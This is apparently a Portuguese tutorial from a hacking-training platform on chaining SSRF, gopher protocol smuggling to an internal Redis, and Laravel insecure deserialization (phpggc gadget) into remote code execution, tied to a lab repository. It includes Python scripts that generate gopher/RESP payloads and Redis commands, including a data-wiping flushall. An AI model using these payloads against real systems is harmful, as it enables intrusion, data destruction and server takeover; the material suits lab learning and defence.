Explorando desserialização insegura via SSRF Protocol Smuggling

Explorando desserialização insegura via SSRF Protocol Smuggling

Nesse artigo, veremos um cenário onde podemos obter RCE explorando desserialização insegura via SSRF Protocol Smuggling. É um cenário bem complexo de ser explorado, e requer um conhecimento sobre desserialização insegura e SSRF Protocol Smuggling. Recomendo que você leia os artigos anteriores sobre desserialização insegura, SSRF e Protocol Smuggling.

Conhecendo o cenário e a infraestrutura

Um cenário ideal para essa exploração, seria uma aplicação que armazena suas sessões serializadas no Redis, como exemplo o Laravel, pois ele utiliza sessões serializadas, e é comum utilizar o Redis para armazenar suas sessões.

Em um cenário desses, se conseguirmos um SSRF e utilizarmos a técnica de Protocol Smuggling, podemos acessar o Redis para alterar o conteúdo da nossa sessão, assim explorando uma desserialização insegura.

Na imagem acima, vemos que o Nginx faz forwarding da porta 127.0.0.1:8000 para *:80, assim expondo o Laravel para a internet. Vemos que o redis está disponível apenas para a rede interna, então para acessarmos ele, precisamos de um SSRF e utilizarmos a técnica de Protocol Smuggling.

Acessando Redis via Protocol Smuggling

Para executarmos comandos no Redis com o protocolo gopher, precisamos inserir o CRLF no final de cada comando e fazermos double-urlencode (o double-urlencode é necessário em algumas ocasiões, como webapps, que geralmente fazem 1 decode por padrão, então precisamos fazer 2 encodes na payload). Criei um script em python simples que gera a payload automaticamente:

import urllib.parse
import sys


def generate_payload(ip, command):
    command += "\r\nquit\r\n"
    gopher_payload = f"gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}"
    return gopher_payload

if __name__ == "__main__":
    ip = sys.argv[1]
    command = sys.argv[2]
    
    print(generate_payload(ip, command))
Observe que o script insere o comando "quit" para finalizar a conexão com o redis

Executando o script acima: python3 script.py redis "keys *", obtemos o output:

gopher://redis:6379/_keys%2520%252A%250D%250Aquit%250D%250A

Enviando a payload em uma vulnerabilidade de SSRF, vemos que o Redis nos retorna o output do comando executado:

Explorando desserialização insegura via Protocol Smuggling:

Para esse artigo, criamos um laboratório para você colocar em prática esse conteúdo. O link do repositório no github está no final do artigo.

Entrando na página inicial, vemos que a aplicação está utilizando o Laravel:

Fazendo fuzzing, vemos que o .env está exposto na aplicação:

A aplicação está utilizando o redis para armazenar suas sessões. Vemos que o endereço IP do redis é "redis", pois essa aplicação deve estar configurada em uma rede do docker-composer.

Na página principal, vemos um campo para inserir uma URL para verificar se ela está funcional ou não. Enviando uma URL e interceptando a requisição:

Vemos que a aplicação possibilita uma requisição para localhost, então pode ser que esteja vulnerável à SSRF. Enviando uma requisição utilizando o protocolo gopher:

Veja que a aplicação aceitou o protocolo gopher e conseguiu estabelecer uma comunicação raw socket com o netcat. Podemos utilizar o script que criamos anteriormente para tentar comunicação com o Redis:

Com acesso ao redis, podemos inserir um gadget na nossa sessão para obtermos RCE no laravel através da desserialização insegura. Para gerarmos esses "gadgets" podemos utilizar o phpggc. Fazendo um clone do repositório, podemos executar a ferramenta:

Essa é a lista de gadgets disponíveis para explorar desserialização insegura no Laravel. Gostamos muito do gadget Laravel/RCE10, pois ele não possui null bytes na payload, assim facilitando a exploração. Gerando a payload:

Ao inserir essa payload na nossa sessão, o comando "id" vai ser executado no sistema. Para inserirmos essa payload na sessão precisamos executar o comando "set <KEY> <PAYLOAD>" no redis através do SSRF. Primeiro precisamos listar as keys do Laravel para identificar a key que está armazenando a nossa sessão, então podemos executar um "flushall", assim limpando todas as keys do redis, e em seguida recarregar a página para gerar outra sessão:

Recarregando a página no navegador geramos outra sessão, então terá apenas 1 key no redis:

Porém, precisamos gerar outra sessão, pois quando estava realizando alguns testes, descobrimos que ao enviar uma requisição para o Laravel, ele reseta o conteúdo da sua sessão caso ele esteja alterado ou inválido, e isso deu conflito com o ataque, pois para alterar o conteúdo precisamos enviar uma request, assim ele altera e logo depois reseta... Sim é algo confuso. Para gerarmos outra sessão, podemos entrar na webapp pela guia anônima:

Listando as keys do redis novamente:

Vemos que uma segunda key foi criada. Inserindo a payload na sessão:

Esse erro aconteceu porque não estamos utilizando o formato RESP para enviarmos os comandos para o Redis. O formato RESP utiliza a seguinte sintaxe:

Para executar keys *

*2
$4
keys
$1
*

Primeiro precisamos especificar quantas palavras compõe o comando, depois precisamos especificar a quantidade de letras de cada palavra e em seguida a palavra. Então alteramos o script para fazer isso:

import urllib.parse
import sys


def generate_payload_redis(command):
    command = command.split(" ")
    payload = f"*{len(command)}\r\n"

    for word in command:
        payload += f"${len(word)}\r\n"
        payload += f"{word}\r\n"

    return payload

def generate_payload(ip, command):
    command = generate_payload_redis(command)
    command += generate_payload_redis("quit")

    gopher_payload = f"gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}"
    return gopher_payload

if __name__ == "__main__":
    ip = sys.argv[1]
    command = sys.argv[2]
    
    print(generate_payload(ip, command))

Gerando a payload novamente:

Recarregando a página na guia anônima:

E finalmente RCE!

Download do laboratório:

GitHub - crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling: RCE insecure desserialization via protocol smuggling
RCE insecure desserialization via protocol smuggling - GitHub - crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling: RCE insecure desserialization via protocol smuggling

Referências

Exploiting Redis Through SSRF Attack
Redis is an in-memory data structure store that is used to store data in the form of key-values and can be used as a database…
GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. - GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() p...

Onde praticar Hacking ?

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 50 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking. Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!